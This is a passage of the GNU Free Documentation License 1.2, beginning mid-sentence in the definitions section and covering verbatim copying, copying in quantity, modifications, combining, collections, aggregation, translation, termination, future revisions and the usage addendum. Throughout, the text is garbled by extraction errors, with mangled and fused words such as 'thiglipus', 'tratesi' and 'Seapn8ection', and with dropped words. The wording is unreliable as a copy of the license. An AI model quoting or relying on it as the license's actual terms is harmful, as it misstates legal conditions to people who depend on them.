wide, royalty-free license, unlimited in duration, to ubattwork under the conditions stated herein. The
"Document" , below, refers to any such manual or work. Any member of thiglipus a licensee, and is
addressed ayou" . You accept the license if you copy, modify or distribute tierk in a way requiring
permission under copyright law.

A "Modified Version" of the Document means any work containing the Document omrtopoof it,
either copied verbatim, or with modifications and/or tratesi into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Docurtieitdeals
exclusively with the relationship of the publishers or awthof the Document to the Document’s overall
subject (or to related matters) and contains nothing thatdall directly within that overall subject. (Thus,
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if the Document is in part a textbook of mathematics, a Seapn8ection may not explain any mathematics.)
The relationship could be a matter of historical conneatiih the subject or with related matters, or of legal,
commercial, philosophical, ethical or political positimgarding them.

The"Invariant Sections" are certain Secondary Sections whose titles are desigrestéeing those of
Invariant Sections, in the notice that says that the Docuiserleased under this License. If a section does
not fit the above definition of Secondary then it is not allow@te designated as Invariant. The Document
may contain zero Invariant Sections. If the Document do¢gdentify any Invariant Sections then there are
none.

The"Cover Texts" are certain short passages of text that are listed, as Exovdr Texts or Back-Cover
Texts, in the notice that says that the Document is releasddruhis License. A Front-Cover Text may be
at most 5 words, and a Back-Cover Text may be at most 25 words.

A "Transparent" copy of the Document means a machine-readable copy, repeese a format whose
specification is available to the general public, that isadalé for revising the document straightforwardly
with generic text editors or (for images composed of pixg&)eric paint programs or (for drawings) some
widely available drawing editor, and that is suitable fqruhto text formatters or for automatic translation to
a variety of formats suitable for input to text formattersc@py made in an otherwise Transparent file format
whose markup, or absence of markup, has been arranged td thhwiiscourage subsequent modification
by readers is not Transparent. An image format is not Traesp# used for any substantial amount of text.
A copy thatis not "Transparent" is callé@paque" .

Examples of suitable formats for Transparent copies irepldin ASCII without markup, Texinfo input
format, LaTeX input format, SGML or XML using a publicly alable DTD, and standard-conforming
simple HTML, PostScript or PDF designed for human modifaratExamples of transparent image formats
include PNG, XCF and JPG. Opaque formats include propyiébamats that can be read and edited only by
proprietary word processors, SGML or XML for which the DTDdaor processing tools are not generally
available, and the machine-generated HTML, PostScriptli¥ Produced by some word processors for
output purposes only.

The'Title Page" means, for a printed book, the title page itself, plus suibWigng pages as are needed
to hold, legibly, the material this License requires to apga the title page. For works in formats which
do not have any title page as such, "Title Page" means thexéaxtthe most prominent appearance of the
work’s title, preceding the beginning of the body of the text

A section"Entitled XYZ" means a hamed subunit of the Document whose title eithee@galy XYZ
or contains XYZ in parentheses following text that traretaXYZ in another language. (Here XYZ stands
for a specific section name mentioned below, suchAa&nowledgements”, "Dedications", "Endorse-
ments", or "History" .) To "Preserve the Title" of such a section when you modify the Document means
that it remains a section "Entitled XYZ" according to thididgion.

The Document may include Warranty Disclaimers next to theeaavhich states that this License applies
to the Document. These Warranty Disclaimers are considereé included by reference in this License,
but only as regards disclaiming warranties : any other iogpion that these Warranty Disclaimers may have
is void and has no effect on the meaning of this License.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, eitbenmercially or noncommercially,
provided that this License, the copyright notices, and itenke notice saying this License applies to the
Document are reproduced in all copies, and that you add rex otinditions whatsoever to those of this Li-
cense. You may not use technical measures to obstruct aottre reading or further copying of the copies
you make or distribute. However, you may accept compensatiexchange for copies. If you distribute a
large enough number of copies you must also follow the canditin section 3.

You may also lend copies, under the same conditions statadeadnd you may publicly display copies.

3. COPYING IN QUANTITY
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If you publish printed copies (or copies in media that comintiave printed covers) of the Document,
numbering more than 100, and the Document’s license natigeires Cover Texts, you must enclose the
copies in covers that carry, clearly and legibly, all thesee® Texts : Front-Cover Texts on the front cover,
and Back-Cover Texts on the back cover. Both covers must@ésoly and legibly identify you as the
publisher of these copies. The front cover must presentuhditle with all words of the title equally
prominent and visible. You may add other material on the roireaddition. Copying with changes limited
to the covers, as long as they preserve the title of the Dontiamel satisfy these conditions, can be treated
as verbatim copying in other respects.

If the required texts for either cover are too voluminoustttefjibly, you should put the first ones listed
(as many as fit reasonably) on the actual cover, and contireueest onto adjacent pages.

If you publish or distribute Opaque copies of the Documemhbering more than 100, you must either
include a machine-readable Transparent copy along with ®@@aque copy, or state in or with each Opaque
copy a computer-network location from which the generaloek-using public has access to download
using public-standard network protocols a complete Traresgt copy of the Document, free of added ma-
terial. If you use the latter option, you must take reasonablident steps, when you begin distribution of
Opague copies in quantity, to ensure that this Transpamy will remain thus accessible at the stated
location until at least one year after the last time you ifigte an Opaque copy (directly or through your
agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the astbithe Document well before redistributing
any large number of copies, to give them a chance to providewih an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Documamder the conditions of sections 2
and 3 above, provided that you release the Modified Versiaeuprecisely this License, with the Modified
Version filling the role of the Document, thus licensing dizition and modification of the Modified Version
to whoever possesses a copy of it. In addition, you must deettieéngs in the Modified Version :

A. Use in the Title Page (and on the covers, if any) a title distfrom that of the Document, and from
those of previous versions (which should, if there were &eylisted in the History section of the
Document). You may use the same title as a previous versitie ibriginal publisher of that version
gives permission.

B. List on the Title Page, as authors, one or more persons diesmresponsible for authorship of the modi-
fications in the Modified Version, together with at least fifeéh® principal authors of the Document
(all of its principal authors, if it has fewer than five), usdethey release you from this requirement.

C. State on the Title page the name of the publisher of the Mablifeasion, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modificatiodfaaent to the other copyright notices.

F. Include, immediately after the copyright notices, a liGenstice giving the public permission to use the
Modified Version under the terms of this License, in the folmawen in the Addendum below.

G. Preserve in that license notice the full lists of Invariaatt®ons and required Cover Texts given in the
Document’s license notice.

H. Include an unaltered copy of this License.

I. Preserve the section Entitled "History", Preserve itseTiéind add to it an item stating at least the title,
year, new authors, and publisher of the Modified Version asrgbn the Title Page. If there is no
section Entitled "History" in the Document, create oneistathe title, year, authors, and publisher of
the Document as given on its Title Page, then add an itemitdésgthe Modified Version as stated in
the previous sentence.
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J. Preserve the network location, if any, given in the Docunienpublic access to a Transparent copy of
the Document, and likewise the network locations given e@xDlocument for previous versions it was
based on. These may be placed in the "History" section. Youarat a network location for a work
that was published at least four years before the Documssif,ior if the original publisher of the
version it refers to gives permission.

K. For any section Entitled "Acknowledgements” or "Dedicatig Preserve the Title of the section, and
preserve in the section all the substance and tone of eable cbntributor acknowledgements and/or
dedications given therein.

L. Preserve all the Invariant Sections of the Document, uralten their text and in their titles. Section
numbers or the equivalent are not considered part of thesddtes.

M. Delete any section Entitled "Endorsements"”. Such a segtaynnot be included in the Modified Version.

N. Do not retitle any existing section to be Entitled "Endorseis” or to conflict in title with any Invariant
Section.

O. Preserve any Warranty Disclaimers.

If the Modified Version includes new front-matter sectiongppendices that qualify as Secondary Sec-
tions and contain no material copied from the Document, yay at your option designate some or all of
these sections as invariant. To do this, add their titlelsedist of Invariant Sections in the Modified Version’s
license notice. These titles must be distinct from any otleetion titles.

You may add a section Entitled "Endorsements", providediitains nothing but endorsements of your
Modified Version by various parties—for example, statermehpeer review or that the text has been approved
by an organization as the authoritative definition of a stéadd

You may add a passage of up to five words as a Front-Cover Teattagassage of up to 25 words
as a Back-Cover Text, to the end of the list of Cover Texts enNuodified Version. Only one passage of
Front-Cover Text and one of Back-Cover Text may be added byhfough arrangements made by) any
one entity. If the Document already includes a cover textdersame cover, previously added by you or by
arrangement made by the same entity you are acting on behgtiwmay not add another; but you may
replace the old one, on explicit permission from the presipublisher that added the old one.

The author(s) and publisher(s) of the Document do not byliilciEnse give permission to use their names
for publicity for or to assert or imply endorsement of any Nfaedl Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents releaseéruhis License, under the terms
defined in section 4 above for modified versions, provided yoa include in the combination all of the
Invariant Sections of all of the original documents, unnfiedi and list them all as Invariant Sections of
your combined work in its license notice, and that you presatll their Warranty Disclaimers.

The combined work need only contain one copy of this Liceasd multiple identical Invariant Sections
may be replaced with a single copy. If there are multiple tiarg Sections with the same name but different
contents, make the title of each such section unique by gditithe end of it, in parentheses, the name of
the original author or publisher of that section if knownetge a uniqgue number. Make the same adjustment
to the section titles in the list of Invariant Sections in license notice of the combined work.

In the combination, you must combine any sections Entittéidtory” in the various original documents,
forming one section Entitled "History" ; likewise combineyasections Entitled "Acknowledgements", and
any sections Entitled "Dedications". You must delete altisas Entitled "Endorsements”.

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document andratbeuments released under this License,
and replace the individual copies of this License in thearssidocuments with a single copy that is included
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in the collection, provided that you follow the rules of thigense for verbatim copying of each of the
documents in all other respects.

You may extract a single document from such a collection,distlibute it individually under this Li-
cense, provided you insert a copy of this License into theaeted document, and follow this License in all
other respects regarding verbatim copying of that document

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with otheparate and independent documents or
works, in or on a volume of a storage or distribution mediusncalled an "aggregate" if the copyright
resulting from the compilation is not used to limit the legghts of the compilation’s users beyond what the
individual works permit. When the Document is included ireggregate, this License does not apply to the
other works in the aggregate which are not themselves digevaorks of the Document.

If the Cover Text requirement of section 3 is applicable testhcopies of the Document, then if the
Documentis less than one half of the entire aggregate, ticeident’'s Cover Texts may be placed on covers
that bracket the Document within the aggregate, or theraleict equivalent of covers if the Document is in
electronic form. Otherwise they must appear on printed kotieat bracket the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you meyridbute translations of the Document
under the terms of section 4. Replacing Invariant Sectidgtistvanslations requires special permission from
their copyright holders, but you may include translatiohsame or all Invariant Sections in addition to the
original versions of these Invariant Sections. You mayidela translation of this License, and all the license
notices in the Document, and any Warranty Disclaimers,igdegi/that you also include the original English
version of this License and the original versions of thostices and disclaimers. In case of a disagreement
between the translation and the original version of thighge or a notice or disclaimer, the original version
will prevail.

If a section in the Document is Entitled "AcknowledgementBedications", or "History", the require-
ment (section 4) to Preserve its Title (section 1) will tygdig require changing the actual title.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Dueuat except as expressly provided for
under this License. Any other attempt to copy, modify, stdsiise or distribute the Document is void, and
will automatically terminate your rights under this Licen$lowever, parties who have received copies, or
rights, from you under this License will not have their lises terminated so long as such parties remain in
full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised sessdf the GNU Free Documentation Li-
cense from time to time. Such new versions will be similargimisto the present version, but may differ in
detail to address new problems or concerns. See http ://gmaorg/copyleft/.

Each version of the License is given a distinguishing versiamber. If the Document specifies that
a particular numbered version of this License "or any latsion” applies to it, you have the option of
following the terms and conditions either of that specifieision or of any later version that has been
published (not as a draft) by the Free Software Foundatfotihel Document does not specify a version
number of this License, you may choose any version ever ghaddi (not as a draft) by the Free Software
Foundation.

ADDENDUM : How to use this License for your documents
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To use this License in a document you have written, includepy of the License in the document and
put the following copyright and license notices just aftes title page :

Copyright© YEAR YOUR NAME. Permission is granted to copy, distributelfr modify this
document under the terms of the GNU Free Documentation ki&eviersion 1.2 or any later
version published by the Free Software Foundation ; withwardiant Sections, no Front-Cover
Texts, and no Back-Cover Texts. A copy of the license is idetlin the section entitled "GNU
Free Documentation License".

If you have Invariant Sections, Front-Cover Texts and B&dker Texts, replace the "with...Texts." line
with this :

with the Invariant Sections being LIST THEIR TITLES, wittetkront-Cover Texts being LIST,
and with the Back-Cover Texts being LIST.

If you have Invariant Sections without Cover Texts, or sortteeocombination of the three, merge those
two alternatives to suit the situation.

If your document contains nontrivial examples of programesave recommend releasing these examples
in parallel under your choice of free software license, saslthe GNU General Public License, to permit
their use in free software.
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